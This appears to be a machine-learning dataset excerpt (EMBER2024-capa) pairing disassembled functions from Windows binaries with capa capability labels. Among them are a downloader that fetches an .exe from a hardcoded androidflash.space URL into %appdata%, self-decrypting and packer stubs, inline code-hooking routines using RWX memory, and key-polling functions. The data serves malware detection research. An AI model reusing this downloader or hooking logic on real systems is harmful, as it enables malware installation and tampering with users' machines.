joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10005690
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001c1fb
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x10023490]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
lea ecx, [esi + 4]
mov dword [esi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.10007efd
push 4
mov dword [ebp - 4], 0
call fcn.10009de7
mov edi, eax
add esp, 4
test edi, edi
je 0x1000570c
call fcn.10007cf8
mov dword [edi], eax
call fcn.10007ab7
push 0
lea ecx, [ebp - 0x10]
mov ebx, eax
call fcn.10007ebe
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x10005702
inc eax
mov dword [ebx + 4], eax
lea ecx, [ebp - 0x10]
call fcn.10007ee6
jmp 0x1000570e
xor edi, edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
mov dword [esi + 0x38], edi
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x10005fb0
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x82
xor ecx, ecx
jmp 0x10005fc0
mov al, byte [edi + ecx + 0x2e62e9b2]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0x19
jb 0x10005fc0
mov byte [esi + 0x19], 0
mov eax, esi
ret

Function at 0x10005fe0
Capabilities:
Encode data using xor

Disassembly:
mov edx, 9
xor ecx, ecx
jmp 0x10005ff0
mov al, byte [edi + ecx - 0x7bd60ae8]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0x1a
jb 0x10005ff0
mov byte [esi + 0x1a], 0
mov eax, esi
ret

Function at 0x10006270
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x1b
xor ecx, ecx
jmp 0x10006280
mov al, byte [edi + ecx - 0x56714f1a]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0x1b
jb 0x10006280
mov byte [esi + 0x1b], 0
mov eax, esi
ret

Function at 0x100064b0
Capabilities:
Allocate or change rwx memory

Disassembly:
mov eax, dword [0x1012ae7c]
push esi
xor esi, esi
cmp eax, esi
je 0x100064cb
lea esp, [esp]
cmp dword [eax + 4], esi
jne 0x10006513
mov eax, dword [eax]
cmp eax, esi
jne 0x100064c0
push 0x40
push 0x3000
push 0x1000
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp eax, esi
je 0x10006513
lea ecx, [eax + 0x20]
mov edx, ecx
mov dword [eax + 4], esi
mov dword [eax + 8], esi
sub edx, eax
nop
mov esi, dword [eax + 4]
mov dword [ecx], esi
mov dword [eax + 4], ecx
add edx, 0x20
add ecx, 0x20
cmp edx, 0xfe0
jbe 0x100064f0
mov ecx, dword [0x1012ae7c]
mov dword [eax], ecx
mov dword [0x1012ae7c], eax
pop esi
ret
Function at 0x10006eb0
Capabilities:
Enumerate threads

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x10023490]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push 0
push 4
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x10006f94
lea eax, [ebp - 0x20]
push eax
push ebx
mov dword [ebp - 0x20], 0x1c
call dword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
je 0x10006f8d
push edi
mov edi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
cmp dword [ebp - 0x20], 0x10
jb 0x10006f72
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [ebp - 0x14], eax
jne 0x10006f72
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [ebp - 0x18], eax
je 0x10006f72
mov eax, dword [esi]
test eax, eax
jne 0x10006f37
mov ecx, dword [0x10129be8]
push 0x200
push eax
push ecx
mov dword [esi + 4], 0x80
call edi
mov dword [esi], eax
test eax, eax
je 0x10006f8c
jmp 0x10006f64
mov ecx, dword [esi + 4]
cmp dword [esi + 8], ecx
jb 0x10006f64
lea edx, [ecx*8]
push edx
push eax
mov eax, dword [0x10129be8]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
test eax, eax
je 0x10006f8c
mov ecx, dword [esi + 4]
add ecx, ecx
mov dword [esi + 4], ecx
mov dword [esi], eax
mov edx, dword [esi + 8]
mov eax, dword [esi]
mov ecx, dword [ebp - 0x18]
mov dword [eax + edx*4], ecx
inc dword [esi + 8]
lea edx, [ebp - 0x20]
push edx
push ebx
mov dword [ebp - 0x20], 0x1c
call dword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x10006ef7
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.1000833e
mov esp, ebp
pop ebp
ret

Function at 0x10006fb0
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, eax
xor ebx, ebx
mov dword [esi], ebx
mov dword [esi + 4], ebx
mov dword [esi + 8], ebx
call fcn.10006eb0
cmp dword [esi], ebx
je 0x1000700b
cmp dword [esi + 8], ebx
jbe 0x1000700b
push edi
mov eax, dword [esi]
mov ecx, dword [eax + ebx*4]
push ecx
push 0
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov edi, eax
test edi, edi
je 0x10007004
push edi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
push edx
push edi
call fcn.10006d50
add esp, 8
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc ebx
cmp ebx, dword [esi + 8]
jb 0x10006fd0
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x10007010
Capabilities:
Resume thread

Disassembly:
cmp dword [ebx], 0
je 0x1000705d
push edi
xor edi, edi
cmp dword [ebx + 8], edi
jbe 0x1000704b
push esi
mov edi, edi
mov eax, dword [ebx]
mov ecx, dword [eax + edi*4]
push ecx
push 0
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov esi, eax
test esi, esi
je 0x10007044
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
cmp edi, dword [ebx + 8]
jb 0x10007020
pop esi
mov edx, dword [ebx]
mov eax, dword [0x10129be8]
push edx
push 0
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
ret
Function at 0x10007060
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, eax
imul esi, esi, 0x2c
add esi, dword [0x1012ae70]
push edi
test byte [esi + 0x14], 1
mov edi, dword [esi]
mov ebx, 5
je 0x10007086
sub edi, ebx
mov ebx, 7
lea eax, [ebp - 4]
push eax
push 0x40
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x100070a4
pop edi
pop esi
mov eax, 0xa
pop ebx
mov esp, ebp
pop ebp
ret
mov byte [edi], 0xe9
mov ecx, dword [esi + 4]
sub ecx, edi
sub ecx, 5
mov dword [edi + 1], ecx
test byte [esi + 0x14], 1
je 0x100070bf
mov eax, dword [esi]
mov word [eax], 0xf9eb
mov eax, dword [ebp - 4]
lea edx, [ebp - 4]
push edx
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
or byte [esi + 0x14], 6
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100070f0
Capabilities:
Allocate or change rwx memory
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov ecx, dword [0x1012ae78]
push esi
push edi
xor esi, esi
xor edi, edi
mov dword [ebp - 4], esi
test ecx, ecx
je 0x1000724d
mov eax, dword [0x1012ae70]
add eax, 0x14
test byte [eax], 2
je 0x1000712a
inc edi
add eax, 0x2c
cmp edi, ecx
jb 0x10007115
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
mov dword [ebp - 8], edi
cmp edi, 0xffffffff
je 0x1000724d
push ebx
push 1
push 0xffffffffffffffff
lea eax, [ebp - 0x1c]
call fcn.10006fb0
add esp, 8
cmp edi, dword [0x1012ae78]
jae 0x10007203
mov eax, edi
imul eax, eax, 0x2c
mov dword [ebp - 0x10], eax
lea ebx, [ebx]
mov ecx, dword [0x1012ae70]
test byte [eax + ecx + 0x14], 2
lea esi, [eax + ecx]
jne 0x100071e1
test byte [esi + 0x14], 1
mov edi, dword [esi]
mov ebx, 5
je 0x10007184
sub edi, ebx
mov ebx, 7
lea edx, [ebp - 0xc]
push edx
push 0x40
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x100071f9
mov byte [edi], 0xe9
mov eax, dword [esi + 4]
sub eax, edi
sub eax, 5
mov dword [edi + 1], eax
test byte [esi + 0x14], 1
je 0x100071b1
mov eax, dword [esi]
mov word [eax], 0xf9eb
mov edx, dword [ebp - 0xc]
lea ecx, [ebp - 0xc]
push ecx
push edx
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
or byte [esi + 0x14], 6
mov eax, dword [ebp - 0x10]
mov edi, dword [ebp - 8]
mov dword [ebp - 4], 0
inc edi
add eax, 0x2c
mov dword [ebp - 8], edi
mov dword [ebp - 0x10], eax
cmp edi, dword [0x1012ae78]
jb 0x10007160
jmp 0x10007200
mov dword [ebp - 4], 0xa
mov esi, dword [ebp - 4]
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x1000724c
xor edi, edi
cmp dword [ebp - 0x14], edi
jbe 0x1000723c
mov eax, dword [ebx + edi*4]
push eax
push 0
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov esi, eax
test esi, esi
je 0x10007233
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
cmp edi, dword [ebp - 0x14]
jb 0x10007211
mov esi, dword [ebp - 4]
mov ecx, dword [0x10129be8]
push ebx
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop ebx
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1000833e
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10023490]
jne 0x10008348
repz ret
jmp fcn.1000cd8e

Function at 0x10016e14
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10023490]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.1001144a
and dword [ebp - 0x14], 0
cmp dword [0x10129798], 0
mov dword [ebp - 0x18], eax
jne 0x10016ec7
push 0x1001f95c
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x10016f6f
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x10016f6f
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x10129798], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x1012979c], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x101297a0], eax
call edi
push eax
call esi
mov dword [0x101297a8], eax
test eax, eax
je 0x10016ec7
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x101297a4], eax
mov eax, dword [0x101297a4]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x10016f20
cmp dword [0x101297a8], ecx
je 0x10016f20
push eax
call esi
push dword [0x101297a8]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x10016f20
test ebx, ebx
je 0x10016f20
call edi
test eax, eax
je 0x10016f17
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x10016f17
test byte [ebp - 8], 1
jne 0x10016f20
or dword [ebp + 0x10], 0x200000
jmp 0x10016f53
mov eax, dword [0x1012979c]
cmp eax, dword [ebp - 0x18]
je 0x10016f53
push eax
call esi
test eax, eax
je 0x10016f53
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x10016f53
mov eax, dword [0x101297a0]
cmp eax, dword [ebp - 0x18]
je 0x10016f53
push eax
call esi
test eax, eax
je 0x10016f53
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x10129798]
call esi
test eax, eax
je 0x10016f6f
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x10016f71
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000833e
leave
ret
Function at 0x10001000
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x344
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.kernel32.dll
call esi
push str.Urlmon.dll
mov edi, eax
call esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.URLDownloadToFileA
push eax
call esi
push str.CreateDirectoryA
push edi
mov dword [ebp - 0x10], eax
call esi
push str.GetComputerNameA
push edi
mov dword [ebp - 0xc], eax
call esi
push str.GetTempPathA
push edi
mov dword [ebp - 8], eax
call esi
push str.ExpandEnvironmentStringsA
push edi
call esi
push 9
pop ecx
mov esi, str.http:__androidflash.space_campo_DQ_s9
lea edi, [ebp - 0x38]
rep movsd dword es:[edi], dword [esi]
mov ebx, eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x240]
movsw word es:[edi], word [esi]
mov esi, 0x104
push eax
mov dword [ebp - 4], esi
call dword [ebp - 8]
push esi
lea eax, [ebp - 0x344]
push eax
push str._appdata_
call ebx
xor ebx, ebx
mov ecx, ebx
mov al, byte [ebp + ecx - 0x344]
mov byte [ebp + ecx - 0x13c], al
inc ecx
test al, al
jne 0x10001093
lea edi, [ebp - 0x13c]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x100010ad
mov ax, word [0x100020c4]
lea edx, [ebp - 0x240]
mov word [edi], ax
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x100010c6
lea edi, [ebp - 0x13c]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x100010d6
mov ecx, edx
lea eax, [ebp - 0x13c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
push ebx
rep movsb byte es:[edi], byte [esi]
push eax
call dword [ebp - 0xc]
lea edi, [ebp - 0x13c]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x100010fe
mov ax, word [0x100020c4]
lea edx, [ebp - 0x240]
mov word [edi], ax
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x10001117
lea edi, [ebp - 0x13c]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10001127
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x13c]
dec ecx
mov al, byte [ecx + 1]
inc ecx
test al, al
jne 0x10001144
mov eax, dword [str..exe]
mov dword [ecx], eax
mov al, byte [0x100020cc]
push ebx
mov byte [ecx + 4], al
lea eax, [ebp - 0x13c]
push ebx
push eax
lea eax, [ebp - 0x38]
push eax
push ebx
call dword [ebp - 0x10]
add esp, 0x14
pop edi
pop esi
pop ebx
leave
ret 0x10

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x402000
Capabilities:
Access peb ldr_data

Disassembly:
push 0
push 2
push 0x403068
push 0x403053
call dword [sym.imp.Winmm.dll_mciSendStringA]
cmp eax, 0x107
je 0x40201c
ret
mov edi, edi
mov esi, 0x4020c7
mov edi, esi
push 1
push 0x403086
push 1
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateSemaphoreA]
mov edx, eax
pop ebx
mov ecx, 0x3ab
mov al, byte [esi]
sub al, bl
stosb byte es:[edi], al
inc esi
loop 0x402040
push dword fs:[0x30]
mov eax, dword [esp]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x1c]
mov eax, dword [eax]
mov eax, dword [eax + 8]
cmp word [eax], 0x5a4d
je 0x402066
xor eax, eax
mov dword [0x403099], eax
add esp, 4
ret

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43100c
nop
nop
pop eax
nop
nop
nop
add eax, 0x403e6a
nop
sub eax, 0x403e10
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x431030
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x43101e
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp int.00401219
Function at 0x10002e50
Capabilities:
Create thread

Disassembly:
cmp dword [esp + 8], 1
jne 0x10002e83
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
push 0
push 0
push dword [esp + 0xc]
push 0x10002ba0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x10002e83
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
ret 0xc

Function at 0x10003700
Capabilities:
Hash data using fnv

Disassembly:
mov al, byte [ecx]
test al, al
jne 0x10003709
mov eax, edx
ret
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
inc ecx
jmp fcn.10003700
Function at 0x1000ebf0
Capabilities:
Hash data using fnv

Disassembly:
push ebx
mov ebx, ecx
mov ecx, dword [0x101bf77c]
push esi
push edi
mov eax, dword [ecx]
mov eax, dword [eax + 0x6c]
call eax
test al, al
je case.default.0x1000ed0b
mov ecx, dword [0x101bf77c]
mov eax, dword [ecx]
mov eax, dword [eax + 0x68]
call eax
test al, al
je case.default.0x1000ed0b
mov edi, dword [0x101f565c]
test edi, edi
je case.default.0x1000ed0b
mov eax, dword [0x101f5658]
test eax, eax
jne 0x1000ec64
mov edx, 0xe80c2f78
mov ecx, 0x1014a9e5
call fcn.10003700
mov edx, 0xc10bf213
mov ecx, 0x1014a90d
mov esi, eax
call fcn.10003700
mov edx, esi
mov ecx, eax
call fcn.100aa660
mov dword [0x101f5658], eax
cmp dword [eax + edi], 0
jle case.default.0x1000ed0b
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 4]
mov ecx, eax
mov al, byte [ecx]
test al, al
jne 0x1000ec84
mov esi, 0x811c9dc5
jmp 0x1000ec9a
movsx eax, al
inc ecx
xor eax, 0x811c9dc5
imul edx, eax, 0x1000193
call fcn.10003700
mov esi, eax
mov ecx, dword [ebx]
push 0
push str.attacker
mov edx, dword [ecx + 0x18]
mov ecx, ebx
call edx
mov ecx, dword [0x101bf77c]
push eax
mov edx, dword [ecx]
mov edx, dword [edx + 0x24]
call edx
mov ecx, dword [0x101f55e0]
push eax
mov edx, dword [ecx]
mov edx, dword [edx + 0xc]
call edx
test eax, eax
je case.default.0x1000ed0b
test esi, esi
je case.default.0x1000ed0b
cmp esi, 0x1b30ddf0
jne case.default.0x1000ed0b
cmp eax, dword [0x101f565c]
jne case.default.0x1000ed0b
cmp byte [0x101f5708], 0
mov dword [0x101f56f4], 0xff
je case.default.0x1000ed0b
mov eax, dword [0x101f5748]
cmp eax, 3
ja case.default.0x1000ed0b
jmp dword [eax*4 + 0x1000ed78]
mov ecx, dword [0x101f56f0]
push str.buttons_arena_switch_press_02.wav
mov eax, dword [ecx]
mov eax, dword [eax + 0x148]
call eax
pop edi
pop esi
pop ebx
ret
mov ecx, dword [0x101f56f0]
push str.buttons_button22.wav
mov eax, dword [ecx]
mov eax, dword [eax + 0x148]
call eax
pop edi
pop esi
pop ebx
ret
mov ecx, dword [0x101f56f0]
push str.survivalmoney_collect_01.wav
mov eax, dword [ecx]
mov eax, dword [eax + 0x148]
call eax
pop edi
pop esi
pop ebx
ret
mov ecx, dword [0x101f56f0]
push str.Ui_beep07.wav
mov eax, dword [ecx]
mov eax, dword [eax + 0x148]
call eax
pop edi
pop esi
pop ebx
ret
Function at 0x10012890
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
mov ebx, dword [0x101f565c]
push esi
push edi
mov edi, ecx
test ebx, ebx
je 0x10012a7b
mov eax, dword [0x101f5658]
test eax, eax
jne 0x100128da
mov edx, 0xe80c2f78
mov ecx, 0x1014a9e5
call fcn.10003700
mov edx, 0xc10bf213
mov ecx, 0x1014a90d
mov esi, eax
call fcn.10003700
mov edx, esi
mov ecx, eax
call fcn.100aa660
mov dword [0x101f5658], eax
cmp dword [eax + ebx], 0
jle 0x10012a7b
call fcn.10009f10
cmp eax, 9
je 0x10012a7b
cmp eax, 8
je 0x10012a7b
cmp eax, 0xa
je 0x10012a7b
cmp byte [0x101f58da], 0
je 0x10012a7b
mov ecx, dword [0x101bc290]
mov eax, dword [0x101f5904]
cmp ecx, 3
ja case.0x10012921.0
jmp dword [ecx*4 + 0x10012a80]
push eax
call dword [sym.imp.USER32.dll_GetKeyState]
cwde
shr eax, 0x10
test eax, eax
setne al
jmp 0x10012959
push eax
call dword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
setne al
jmp 0x10012959
push eax
call dword [sym.imp.USER32.dll_GetKeyState]
cwde
shr eax, 0x10
test eax, eax
sete al
test al, al
je 0x10012a7b
test byte [0x101f59b8], 1
je 0x10012a74
mov eax, dword [0x101f5690]
mov ebx, dword [0x101f565c]
test eax, eax
jne 0x100129ab
mov edx, 0xe80c2f78
mov ecx, 0x1019659d
call fcn.10003700
mov edx, 0xc10bf213
mov ecx, 0x1014a90d
mov esi, eax
call fcn.10003700
mov edx, esi
mov ecx, eax
call fcn.100aa660
mov dword [0x101f5690], eax
test byte [eax + ebx], 1
jne 0x10012a74
cmp byte [0x101f5925], 0
je 0x10012a65
cmp byte [0x101f590c], 0
je 0x10012a65
mov eax, dword [0x101f58e4]
test al, al
je 0x100129f8
mov ecx, dword [0x101bf77c]
and dword [edi + 0x30], 0xfffffff7
push 0
push str._forward
mov eax, dword [ecx]
mov eax, dword [eax + 0x1c8]
call eax
mov eax, dword [0x101f58e4]
test ah, ah
je 0x10012a17
mov ecx, dword [0x101bf77c]
and dword [edi + 0x30], 0xffffffef
push 0
push str._back
mov eax, dword [ecx]
mov eax, dword [eax + 0x1c8]
call eax
cmp byte [0x101f58e6], 0
je 0x10012a3e
mov ecx, dword [0x101bf77c]
and dword [edi + 0x30], 0xfffffdff
push 0
push str._moveleft
mov eax, dword [ecx]
mov eax, dword [eax + 0x1c8]
call eax
cmp byte [0x101f58e7], 0
je 0x10012a65
mov ecx, dword [0x101bf77c]
and dword [edi + 0x30], 0xfffffbff
push 0
push str._moveright
mov eax, dword [ecx]
mov eax, dword [eax + 0x1c8]
call eax
or dword [edi + 0x30], 2
mov byte [0x101fadaa], 1
pop edi
pop esi
pop ebx
ret
mov byte [0x101fadaa], 0
pop edi
pop esi
pop ebx
ret
Function at 0x10012a90
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
mov ebx, dword [0x101f565c]
push esi
push edi
mov edi, ecx
test ebx, ebx
je 0x10012ced
mov eax, dword [0x101f5658]
test eax, eax
jne 0x10012ada
mov edx, 0xe80c2f78
mov ecx, 0x1014a9e5
call fcn.10003700
mov edx, 0xc10bf213
mov ecx, 0x1014a90d
mov esi, eax
call fcn.10003700
mov edx, esi
mov ecx, eax
call fcn.100aa660
mov dword [0x101f5658], eax
cmp dword [eax + ebx], 0
jle 0x10012ced
cmp byte [0x101f58e8], 0
je 0x10012ced
call fcn.10009f10
cmp eax, 9
je 0x10012ced
cmp eax, 8
je 0x10012ced
cmp eax, 0xa
je 0x10012ced
mov ecx, dword [0x101f5690]
mov ebx, dword [0x101f565c]
test ecx, ecx
jne 0x10012b52
mov edx, 0xe80c2f78
mov ecx, 0x1019659d
call fcn.10003700
mov edx, 0xc10bf213
mov ecx, 0x1014a90d
mov esi, eax
call fcn.10003700
mov edx, esi
mov ecx, eax
call fcn.100aa660
mov ecx, eax
mov dword [0x101f5690], ecx
test byte [ecx + ebx], 1
mov eax, dword [0x101f55e8]
je 0x10012b68
mov edx, dword [eax + 0x1c]
mov dword [0x101f0f08], edx
jmp 0x10012b6e
mov edx, dword [0x101f0f08]
mov eax, dword [eax + 0x1c]
mov esi, dword [0x101bc2f4]
sub eax, edx
mov edx, dword [0x101f58bc]
cmp eax, 2
setle al
mov byte [0x101f5990], al
cmp esi, 3
ja case.0x10012b8f.0
jmp dword [esi*4 + 0x10012cf4]
push edx
call dword [sym.imp.USER32.dll_GetKeyState]
cwde
shr eax, 0x10
test eax, eax
setne al
jmp 0x10012bc7
push edx
call dword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
setne al
jmp 0x10012bc7
push edx
call dword [sym.imp.USER32.dll_GetKeyState]
cwde
shr eax, 0x10
test eax, eax
sete al
test al, al
je 0x10012ced
mov al, byte [0x101f5990]
mov ecx, dword [0x101f5690]
test al, al
je 0x10012ce6
mov ebx, dword [0x101f565c]
test ecx, ecx
jne 0x10012c1d
mov edx, 0xe80c2f78
mov ecx, 0x1019659d
call fcn.10003700
mov edx, 0xc10bf213
mov ecx, 0x1014a90d
mov esi, eax
call fcn.10003700
mov edx, esi
mov ecx, eax
call fcn.100aa660
mov ecx, eax
mov dword [0x101f5690], ecx
test byte [ecx + ebx], 1
jne 0x10012ce6
cmp byte [0x101f5925], 0
je 0x10012cd7
cmp byte [0x101f590f], 0
je 0x10012cd7
mov eax, dword [0x101f58e4]
test al, al
je 0x10012c6a
mov ecx, dword [0x101bf77c]
and dword [edi + 0x30], 0xfffffff7
push 0
push str._forward
mov eax, dword [ecx]
mov eax, dword [eax + 0x1c8]
call eax
mov eax, dword [0x101f58e4]
test ah, ah
je 0x10012c89
mov ecx, dword [0x101bf77c]
and dword [edi + 0x30], 0xffffffef
push 0
push str._back
mov eax, dword [ecx]
mov eax, dword [eax + 0x1c8]
call eax
cmp byte [0x101f58e6], 0
je 0x10012cb0
mov ecx, dword [0x101bf77c]
and dword [edi + 0x30], 0xfffffdff
push 0
push str._moveleft
mov eax, dword [ecx]
mov eax, dword [eax + 0x1c8]
call eax
cmp byte [0x101f58e7], 0
je 0x10012cd7
mov ecx, dword [0x101bf77c]
and dword [edi + 0x30], 0xfffffbff
push 0
push str._moveright
mov eax, dword [ecx]
mov eax, dword [eax + 0x1c8]
call eax
or dword [edi + 0x30], 4
mov byte [0x101fada9], 1
pop edi
pop esi
pop ebx
ret
mov byte [0x101fada9], 0
pop edi
pop esi
pop ebx
ret